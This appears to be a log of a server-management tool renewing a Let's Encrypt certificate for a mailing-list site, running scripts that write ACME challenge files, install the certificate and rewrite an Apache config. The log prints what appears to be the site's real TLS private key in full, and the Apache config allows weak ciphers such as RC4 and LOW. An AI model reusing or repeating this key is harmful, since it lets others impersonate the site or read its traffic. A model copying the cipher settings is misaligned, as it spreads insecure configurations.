TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-12 06:00:24: Establishing a connection
2025-12-12 06:00:24: Establishing a connection
2025-12-12 06:00:24:
PUT: /tmp/pkp549138
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-12 06:00:25:
chmod 755 /tmp/pkp549138; /tmp/pkp549138; rm /tmp/pkp549138
2025-12-12 06:00:25:
1
2025-12-12 06:00:25: Establishing a connection
2025-12-12 06:00:26:
PUT: /tmp/pkp804383
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI
cat > 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs
2025-12-12 06:00:26:
chmod 755 /tmp/pkp804383; /tmp/pkp804383; rm /tmp/pkp804383
2025-12-12 06:00:26:
2025-12-12 06:00:40: Establishing a connection
2025-12-12 06:00:40:
PUT: /tmp/pkp730901
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
rm YWUOPN0hpENze2Ejb6K8_HaNX5pbqTlMAB4gOCFhZgI
rm 2AujxlzuzUoufJAkiZHUhhncgqL2K8pjiWmpynob0Qs
2025-12-12 06:00:40:
chmod 755 /tmp/pkp730901; /tmp/pkp730901; rm /tmp/pkp730901
2025-12-12 06:00:40:
2025-12-12 06:00:40: Establishing a connection
2025-12-12 06:00:41:
PUT: /tmp/pkp508292
#!/bin/bash
temp_file=$(mktemp)
TARGET=625c49c8e1729cb5d0e1dcdf03ddcd68.crt
cat > $temp_file <<'endmsg'
89:f9:2a:55:a9:ad:35:d7:06:14:bf:67:fb:e3:7a:45
-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBQs0FWoOadCIu2/N0Lakx9RwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjA5WhcNMjYwMzEyMDUwMjA4WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCy1FLB8yxucrlAcaB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb
7kCAx975uVW/KaH3b/R7PvezLmg1cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1Bn
wmTIau+4LynrrkTY4XCvIMoOKlEORmCrTc92htZunwkjR2lvDXpEPUT3P80Qsvgd
yMwQBrnLAOpvdjyzgSDesqNdB1IeKGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeR
qzpyoATXi2zhyiG8rQH+pf1pUuiCc5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKV
zRWWSOn6Mm+h3qdoTJqXmRkOdnGKXWsiPPYJAgMBAAGjggJGMIICQjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFK3s5EGgewRtx3E29UjMMr42FbL3MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTEzLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmxElqt8AAAQDAEgwRgIhAOzq5bCnHEK3
CgjoYu2lGxMCys8yiGJFhtVUfutfIVmcAiEAvR3nZ7plwtFGUAbuY3BIQE2rfSEv
TMjKkDcMDiNJosUAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAA
AZsRJausAAgAAAUAA/GSDAQDAEYwRAIgcCc49RZLRy2RKWxhoJtTrOan5pRhqk5w
VHSj1WCNa7oCIA52BQjdpeXa1S5oXr4yyhiuSlxr36OXPLDbZqZ4aPdMMA0GCSqG
SIb3DQEBCwUAA4IBAQABuhabAQmaGwaizRKCrqSxh0c6f/fKAPL+D/Cs0yeA0z3d
FzClA6EjnICY2NDHOvxuUtkppArNhZ4Qp/2jRZm3XubCYAhOGIPj9rijegFKn6ce
WSV6f5T6pJIAloL9k4tLv6dsGBngJSoBj0XNmzKOznTkrDwe1QKGJi7EBlN5BFTb
9DNeHybZkIBfROwZZTnD3O74zJT4z2Sx0EEhabhAkjI6MycNmZOXNx573TXR6jN0
nxr1LyL0Hk095kyR9pvNEEmeHmiySGEl7niAILJZTdX8owJcpi0ubOPbWzixT0wP
A9fE6LJxMRZNmMLwc27BPBJYWK+CGZ1ohpoF7oqd
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCy1FLB8yxucrlA
caB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb7kCAx975uVW/KaH3b/R7PvezLmg1
cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1BnwmTIau+4LynrrkTY4XCvIMoOKlEO
RmCrTc92htZunwkjR2lvDXpEPUT3P80QsvgdyMwQBrnLAOpvdjyzgSDesqNdB1Ie
KGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeRqzpyoATXi2zhyiG8rQH+pf1pUuiC
c5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKVzRWWSOn6Mm+h3qdoTJqXmRkOdnGK
XWsiPPYJAgMBAAECggEAYc3T8TVQ8JsYDFHYw8cDJHaK+sSOht2Km3ErViAAYNWx
AxS8I5B7gLNPlN6zMdjQN2bonFtE15+i6M/No3pl4IjlAU4NdOz+59SrpmOWD2Gh
17SORiFAQ4iQ0Pgigj6OctthaLaTK4ojSJ5fEnF87MM0Fc4vDjdpR45kd1vXEy3L
2RF8weQUnar+EwwhKBYNUE8gDeCTAlKl55VNMWLBthD39+L3SlyTv0ur5wjB1MJE
RF/vNwkg2tY8zy2HRIZf0Eo/k/Zy4pnSi5S88/Xfs2LxeiEjzPU7fiS+13ndqnrl
qVYYaEz3ZR4fAQgtdmoKYW43XLkdscMqWUzty8gzPQKBgQDor3jS+OYVUPUZrvvg
FfU7HEEJyEaywoXmRXOVGQdaN0xgIsKC+aGdGSuGTxir1MJE55oiKEUgNPZUI/N8
o7UV8GDsqa6BDyvOvhaB2XYi7U30Q67rs/G59BviMECilSW1HiGPm+ZXystEAQfM
h9Z4DfORuCgYhvi/SEGE9hR+HwKBgQDEv2jiofZF24w+3gfTD1Kr6OIcGCNwiVLf
oMYaTKBbuQPfGA5pqu/tu0mUMWUDXxz7t5COy09DKLxBaGs3s0+IGOBFmQhDlcrt
wr1+Tqjent/FeUPzSuvEuyCVjJsRGjA1ZSKcwq6OLxmn5LszNsamKTnpASZDMiuq
q3oMNQO21wKBgHYv6qb+VZ+uJ1CMWNNRU+ZaS460c3SI6Yo07Khmth1UyS5reXEd
asFo73qg4l8lCigFm3yOB858GEJUoHBGlsw19IVBCqnzEsVIOBZsZl0HO/k+B7Mh
Cz7whtk0uR/bsfN1Aob3IOCm2OgJvfRdaspAC9+QMo2CwQYnpV/rvizxAoGBALg7
ZEOT1cBkbVcRIdKJLqi7Ub9s+wKOFIRDUD2gMyiwfueQ5y4bWsAJ+EREXIpjrggn
Q73ysy34HxBAbuWhin+ui5OgURS4V2V8TWTQ02Bi9Lc9bluLdGqrrz9agnnpQ+s7
4MVZp4qMoEGO9ZxnVmyRfiCpauLRQAJ4v7hejDPRAoGBAIWFZv5w5jLj1NAQ/vEq
LLZRFrlFLFbXwyuDR3WSduUARUSBwfqi/wxZkIgW6QIvfSWqqjlmPd4AxIfprHwX
62Yg47DQNoyF+C7RT8qvMnZ4Xs8X5KKrwzXKpl4WTuAtFxFVoukzNkDux5ZM7SL2
nNO3NdRViF4/O6JZpnMTPEmh
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-12 06:00:41:
chmod 755 /tmp/pkp508292; /tmp/pkp508292; rm /tmp/pkp508292
2025-12-12 06:00:41:
dir=/etc/ssl/certs
2025-12-12 06:00:41:
PUT: /tmp/pkp769397
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-12 06:00:41:
chmod 755 /tmp/pkp769397; /tmp/pkp769397; rm /tmp/pkp769397
2025-12-12 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 58
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:00:41:
PUT: /tmp/pkp358862
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_list_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_list_org.conf= 1'
fi
2025-12-12 06:00:41:
chmod 755 /tmp/pkp358862; /tmp/pkp358862; rm /tmp/pkp358862
2025-12-12 06:00:41:
2025-12-12 06:00:41:
PUT: /tmp/pkp373461
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-12 06:00:41:
chmod 755 /tmp/pkp373461; /tmp/pkp373461; rm /tmp/pkp373461
2025-12-12 06:00:41:
.
2025-12-12 06:00:41: Establishing a connection
2025-12-12 06:00:41:
PUT: /tmp/pkp476382
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-12 06:00:41:
chmod 755 /tmp/pkp476382; /tmp/pkp476382; rm /tmp/pkp476382
2025-12-12 06:00:41:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost blah (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:2)
alias list.stoughton.link
port 80 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:2)
alias sms.hopeinstoughton.org
port 80 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:2)
alias venus.hostz.org
alias mail.emessage.email
*:443 is a NameVirtualHost
default server list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost list.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf:23)
port 443 namevhost text.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_text_org.conf:23)
alias sms.hopeinstoughton.org
port 443 namevhost emessage.email (/etc/apache2/sites-enabled/hostz_venus_org.conf:24)
alias venus.hostz.org
alias mail.emessage.email
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-12-12 06:00:41:
PUT: /tmp/pkp949077
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:41:
chmod 755 /tmp/pkp949077; /tmp/pkp949077; rm /tmp/pkp949077
2025-12-12 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_list_org.conf 1431
<VirtualHost *:80>
ServerName list.hopeinstoughton.org
ServerAlias list.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName list.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt
DocumentRoot /var/www/hopeinstoughton_list/public
<Directory /var/www/hopeinstoughton_list>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/list_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/list_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-12 06:00:41:
PUT: /tmp/pkp932713
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-12 06:00:41:
chmod 755 /tmp/pkp932713; /tmp/pkp932713; rm /tmp/pkp932713
2025-12-12 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/625c49c8e1729cb5d0e1dcdf03ddcd68.crt 5413
89:f9:2a:55:a9:ad:35:d7:06:14:bf:67:fb:e3:7a:45
-----BEGIN CERTIFICATE-----
MIIFKjCCBBKgAwIBAgISBQs0FWoOadCIu2/N0Lakx9RwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjEyMDUwMjA5WhcNMjYwMzEyMDUwMjA4WjAjMSEwHwYDVQQD
ExhsaXN0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCy1FLB8yxucrlAcaB2Y3SUUFxYMHZbfioL3mwzP4ULemVTWwIb
7kCAx975uVW/KaH3b/R7PvezLmg1cYeIlOlYIkPo93TGmdQqrdppJJQm0rg8q1Bn
wmTIau+4LynrrkTY4XCvIMoOKlEORmCrTc92htZunwkjR2lvDXpEPUT3P80Qsvgd
yMwQBrnLAOpvdjyzgSDesqNdB1IeKGgLLwr8y7yllACOzEfxFiuG5vtUGUFBPYeR
qzpyoATXi2zhyiG8rQH+pf1pUuiCc5HT/b/P5E8tFFbWE3U1nMRGmDc4Hvxn4ZKV
zRWWSOn6Mm+h3qdoTJqXmRkOdnGKXWsiPPYJAgMBAAGjggJGMIICQjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFK3s5EGgewRtx3E29UjMMr42FbL3MB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOAYDVR0RBDEwL4IYbGlzdC5ob3Bl
aW5zdG91Z2h0b24ub3JnghNsaXN0LnN0b3VnaHRvbi5saW5rMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvMTEzLmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB3AMs49xWJfIShRF9b
